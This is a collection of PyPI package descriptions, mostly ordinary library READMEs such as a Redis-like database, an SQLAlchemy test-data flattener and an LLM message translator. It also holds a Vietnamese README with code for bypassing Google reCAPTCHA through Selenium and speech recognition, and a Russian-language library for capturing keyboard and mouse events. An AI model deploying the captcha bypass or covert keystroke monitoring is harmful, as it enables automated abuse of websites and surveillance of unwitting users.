semvec/pypi-packages huggingface dataset:
lazykey 0.0.2
Always uses the most lazy key when calling an online LLM.
Requires Python: >=3.10


(definitely not ai generated generic project description that will be updated in the future)

Lazy Key is a Python-based utility designed to efficiently manage multiple API keys while ensuring optimal usage and load balancing. Built with asyncio, the system dynamically selects the best available key based on predefined rate-limiting metrics such as tokens per minute (TPM) and requests per second (RPS).

**Key Features**\
✅ Asynchronous API Requests – Uses asyncio to handle API calls concurrently, improving performance.\
✅ Smart Key Selection – Dynamically picks the API key with the lowest usage based on live metrics.\
✅ Rate Limit Awareness – Supports selection methods like TPM and RPS to maximize key efficiency.\
✅ Parallel Metric Evaluation – Uses asyncio.gather() to fetch usage data from all keys simultaneously.\
✅ Flexible and Scalable – Easily extendable to support additional rate-limiting strategies and APIs such as OpenAI, Groq, or any custom online LLM API.\

# Quickstart

Sync version
```python
from lazykey import KeyHandler
from groq import Groq

api_keys = ["API_KEY_1", "API_KEY_2"]
client = Groq

api = KeyHandler(api_keys, client)

completion = api.request(
    messages=[
        {
            "role": "user",
            "content": "Cats or dogs?",
        }
    ],
    model="llama-3.3-70b-versatile",
)
```

Async version:
```python
from lazykey import AsyncKeyHandler
from groq import AsyncGroq

api_keys = ["API_KEY_1", "API_KEY_2"]
client = AsyncGroq

api = AsyncKeyHandler(api_keys, client)

completion = await api.request(
    messages=[
        {
            "role": "user",
            "content": "Cats or dogs?",
        }
    ],
    model="llama-3.3-70b-versatile",
)
```
quakesrrtdisplay-tspspi 0.0.13a0
A simple realtime display for QUAK/ESR data in a specific experimental setup
Requires Python: >=3.6

# QUAK/ESR realtime data display

Quick and dirty visualization of data published by a specific experimental
setup via MQTT

## Installation

```
pip install quakesrrtdisplay-tspspi
```

_Note_: On our experimental systems this is deployed automatically by
Jenkins also on updates.

## Default configuration

The connection dialog can be filled with default credentials. This
is done by a ```~/.config/quakesrdisplay/connection.conf``` that contains
a simple JSON structure supplying the values (password also not encrypted):

```
{
        "broker" : '127.0.0.1',
        "port" : '1883',
        "user" : 'someMQTTusername',
        "password" : 'anyPassword',
        "basetopic" : 'quakesr/experiment'
}
```
sqlalchemy-flattener 0.5.0
Flatten nested SQLAlchemy model data
Requires Python: <4.0,>=3.9

# SQLAlchemy Flattener

This tool allows you to have the DX of defining test data with the ORM - 
nested as deeply as you like - then recursively flattening that data to either 
python dicts for bulk inserts, or just raw SQL insert statements for maximum seeding speed between tests.

Works really well in conjunction with [polyfactory](https://github.com/litestar-org/polyfactory)

## Usage

```
$ sqlflat --help

usage: sqlflat [-h] [--format {dict,sql}] instances order output

Flatten SQLAlchemy ORM instances.

positional arguments:
  instances            The module namespace containing the model instances, e.g. `foo.bar.instance_list`
  order                The module namespace containing a sequence of table insert ordering.
  output               The output file path to write the flattened data to.

options:
  -h, --help           show this help message and exit
  --format {dict,sql}  The format to write the data in.
```

Where `insertion_ordering_list` is a list of model classes *or* `sqlalchemy.Table` instances, but not declarative model instances.
Take a look at the examples directory.
captcha-solver-selenium 0.2.9
A package for solving Google reCAPTCHA using Selenium and Speech Recognition
Requires Python: >=3.10

## A package for solving Google reCAPTCHA using Selenium and Speech Recognition
# Authors
- [@Deno9099 - Nguyễn Văn Vinh](https://pypi.org/user/deno9099/)
# Cách Cài
1. cài package với pip hoặc pip3
```python
    pip install captcha-solver-selenium
    pip3 install captcha-solver-selenium
```
2. Cài trình xử lý âm thanh [ffmpeg](https://www.ffmpeg.org/download.html#build-windows)
* Click vào ảnh để xem hướng dẫn
[![FFMPEG](https://i.postimg.cc/DZ6mdk4k/viet-code-ffmpeg-tao-video-hang-loat-e-spam-tu-video-anh-nhac-213015755.png)](https://www.geeksforgeeks.org/how-to-install-ffmpeg-on-windows/)
3. Cài môi trường cho trình xử lý âm thanh(Đã có trong hướng dẫn trên)
![FFMPEG SETUP](https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExMnh4b2pubXZueTk4c24xc3V5dGZrMDBqdXlhbGUxeDZmeWZkMGJ6byZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/6WKmMaCZjqCzCA5Hvj/giphy.gif)
# Chức năng
- Giải captcha google bằng selenium
# Cách sử dụng
- Import thư viện
```python
import captcha_solver
```
- Sử dụng hàm
```python
captcha_solver.captcha_resolve(driver,False,delaytime,audio_click_delay)
```
- driver : là driver khi sử dụng selenium hoặc seleniumbase
- False : Là tham số khi sử dụng [captcha invisible](https://2captcha.com/vi/demo/recaptcha-v2-invisible) nếu không phải là False ngược lại là True
- delaytime : là thời gian chờ khi sử dụng ! 
- audio_click_delay : là thời gian chờ khi click vào phần audio !
# VÍ DỤ
- Trong ví dụ có sử dụng [seleniumbase](https://seleniumbase.io/help_docs/install/)
```python
import captcha_solver
from seleniumbase import Driver
driver = Driver()
driver.get('https://2captcha.com/vi/demo/recaptcha-v2')
captcha_solver.captcha_resolve(driver,False,2,2)
```
![Demo Captcha](https://media4.giphy.com/media/v1.Y2lkPTc5MGI3NjExbXd1dHNzOW1kejk2dW50aXExNmJqc2d3bnFpNHhyaDEyNmVkNmR6aiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/zyhEvFZ81gKQh6qSuL/giphy.gif)
# Hỗ trợ
Vui lòng liên hệ qua email [vinhytb3010@gmail.com](mailto:vinhytb3010@gmail.com) hoặc hỗ trợ qua các nền tảng của tác giả trực thuộc.
# 🔗 Links
[![Youtube](https://pypi-camo.freetls.fastly.net/be6f6294510dc074c3451a292d5de17a3874322a/68747470733a2f2f692e706f7374696d672e63632f37686b38366a77582f696d616765732d72656d6f766562672d707265766965772e706e67)](https://www.youtube.com/@wne9838)
splupy2check 1.0.9
Scans file or folder to be scanned for containing Python 2 code.
Keywords: python, splunk, python2, scanning


# Splunk Python 2 Checker

Checks for occurances of Python2 files in a given folder structure.
The program recursively traverses the folder structure, and if a .py file is encountered,
it is compiled with Python3.9.

Please make sure to have Python 3.9 installed, since this program specifically uses Python 3.9 to compile the files.

## Installation

```console
pip install splupy2check
```

## Usage

```console
splupy2check [-h] [-o OUTPUT] [-v] input
```

```console
positional arguments:
  input                 File or folder to be scanned for containing Python 2 code.

options:
  -h, --help            show this help message and exit
  -o OUTPUT, --output OUTPUT
                        Stores program output in a file.
  -v, --version         Prints the version.
```
watchitoring 0.1.1
Кроссплатформенная библиотека для мониторинга системных событий
Requires Python: >=3.6

# watchitoring

watchitoring - это Python-библиотека для мониторинга системных событий, включая отслеживание клавиатуры и мыши. Библиотека поддерживает Windows и macOS.

## Установка

```bash
pip install watchitoring
```

## Требования

- Python 3.6+
- Windows или macOS
- Для Windows: pywin32
- Для macOS: pyobjc-framework-Cocoa
- pynput

## Использование

```python
from watchitoring import initialize_system_monitoring

# Запуск мониторинга системы
initialize_system_monitoring()
```

## Особенности

- Кроссплатформенная поддержка (Windows и macOS)
- Легкая интеграция

## Лицензия

MIT
litedis 3.0.8
Litedis 是一个类似 Redis 的轻量级的、本地的、开箱即用的 NoSQL 数据库。Litedis is a lightweight, local, out-of-the-box NoSQL database similar to Redis.
Requires Python: >=3.8


其他语言版本：

- [English](README_EN.md)


# Litedis

`Litedis` 是一个类似 Redis 的轻量级的本地的 NoSQL 数据库，使用 Python 实现，支持基本的数据结构和操作。
和 Redis 最大的不同是，Litedis 开箱即用，无需另开服务器进程。


## 特性

- 实现了基础数据结构及相关操作：
  - STING
  - LIST
  - HASH
  - SET
  - ZSET
- 支持设置过期时间
- 支持 AOF 持久化


## 安装和支持版本

- 使用 pip 安装

```sh
pip install litedis
```

- 支持的 Python 版本

  支持 Python3.8+
  

## 使用示例


### 持久化和数据库设置

- Litedis 是默认开启持久化的，可以通过参数进行相关设置。
- Litedis 可以将数据存储到不同的数据库下，可以通过 dbname 参数设置

```python
from litedis import Litedis

# 关闭持久化
litedis = Litedis(persistence_on=False)

# 设置持久化路径
litedis = Litedis(data_path="path")

# 设置数据库名称
litedis = Litedis(dbname="litedis")
```

### STRING 的使用


```python
import time

from litedis import Litedis

litedis = Litedis()

# set and get
litedis.set("db", "litedis")
assert litedis.get("db") == "litedis"

# delete
litedis.delete("db")
assert litedis.get("db") is None

# expiration
litedis.set("db", "litedis", px=100)  # 100毫秒后过期
assert litedis.get("db") == "litedis"
time.sleep(0.11)
assert litedis.get("db") is None
```

### LIST 的使用


```python
from litedis import Litedis

litedis = Litedis()

# lpush
litedis.lpush("list", "a", "b", "c")
assert litedis.lrange("list", 0, -1) == ["c", "b", "a"]
litedis.delete("list")

# rpush
litedis.rpush("list", "a", "b", "c")
assert litedis.lrange("list", 0, -1) == ["a", "b", "c"]
litedis.delete("list")

# lpop
litedis.lpush("list", "a", "b")
assert litedis.lpop("list") == "b"
assert litedis.lpop("list") == "a"
assert litedis.lrange("list", 0, -1) == []
assert not litedis.exists("list")  # 当所有元素被弹出后，相应的 List键 会自动删除
```

### Hash 的使用


```python
from litedis import Litedis

litedis = Litedis()
litedis.delete("hash")

# hset
litedis.hset("hash", {"key1":"value1", "key2":"value2"})
assert litedis.hget("hash", "key1") == "value1"

# hkeys and hvals
assert litedis.hkeys("hash") == ["key1", "key2"]
assert litedis.hvals("hash") == ["value1", "value2"]
```

### SET 的使用


```python
from litedis import Litedis

litedis = Litedis()
litedis.delete("set", "set1", "set2")

# sadd
litedis.sadd("set", "a")
litedis.sadd("set", "b", "c")
members = litedis.smembers("set")
assert set(members) == {"a", "b", "c"}

litedis.sadd("set1", "a", "b", "c")
litedis.sadd("set2", "b", "c", "d")

# inter
result = litedis.sinter("set1", "set2")
assert set(result) == {"b", "c"}

# union
result = litedis.sunion("set1", "set2")
assert set(result) == {"a", "b", "c", "d"}

# diff
result = litedis.sdiff("set1", "set2")
assert set(result) == {"a"}
```

### ZSET 的使用


```python
from litedis import Litedis

litedis = Litedis()
litedis.delete("zset")

# zadd
litedis.zadd("zset", {"a": 1, "b": 2, "c": 3})
assert litedis.zscore("zset", "a") == 1

# zrange
assert litedis.zrange("zset", 0, -1) == ["a", "b", "c"]

# zcard
assert litedis.zcard("zset") == 3

# zscore
assert litedis.zscore("zset", "a") == 1
```
pangea-llm-translator 1.0.2
A library to transform messages for different LLMs like OpenAI, Mistral, LangChain, Gemini, DBRX, Cohere, Claude, and AWS Bedrock to Pangea messages format
Requires Python: <4.0,>=3.10

# pangea-llm-translators

## Description
llm-message-translator is a Python library designed to transform messages for various LLM (Large Language Model) providers to Pangea messages format. It supports multiple AI models and platforms, including:
* OpenAI
* Mistral
* LangChain
* Gemini (Google AI)
* DBRX (Databricks)
* Cohere
* Claude (Anthropic)
* AWS Bedrock
* Pangea

### Features
* Seamlessly convert various LLM message formats to the Pangea Messages format.
* Preserve message structure while transforming the original input using responses from Pangea AI Guard APIs.

## Installation
```shell
pip install pangea-llm-translator
```
## Usage Example
```python
from pangea_translator import get_translator

# Define an OpenAI-style LLM input
openapi_message = {
   "model": "gpt-4o",
   "messages": [
      {"role": "developer", "content": "you are a joker"},
      {"role": "user", "content": [{"type": "text", "text": "knock knock"}]},
      {"role": "assistant", "content": [{"type": "text", "text": "Who's there?"}]},
   ],
}

# Initialize the translator
translator = get_translator(openapi_message, llm_hint="openai")

# Convert to Pangea format
pangea_messages = translator.get_pangea_messages()

# Print transformed messages
print(pangea_messages.get_messages_list())
# [{'role': 'system', 'content': 'you are a joker'}, {'role': 'user', 'content': 'knock knock'}, {'role': 'assistant', 'content': "Who's there?"}]

# Mimic some api behavior like modify content (Example: Censor "joker")
for message in pangea_messages.messages:
   message.content = message.content.replace("joker", "*****")

# Convert back to OpenAPI input format
original_output = translator.transformed_original_input(messages=pangea_messages.get_messages_list())

print(original_output)

```

# Development

## Prerequisites
Ensure you have the following installed:

- Python 3.9+
- [Poetry](https://python-poetry.org/docs/#installation)

## Installation
1. Clone the repository:
   ```sh
   git clone https://github.com/pangeacyber/pangea-llm-translators.git
   cd pangea-llm-translators
   ```
2. Install dependencies using Poetry:
   ```sh
   poetry install
   ```
## Virtual Environment
To activate the virtual environment:
```sh
poetry shell
```

## Running Tests
To run the test suite, use:
```sh
poetry run pytest
```

## Running the Application
To run the application, use:
```sh
poetry run python examples/openai_translator.py
```

## License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.

## Contributing
Contributions are welcome! Please create an issue or submit a pull request.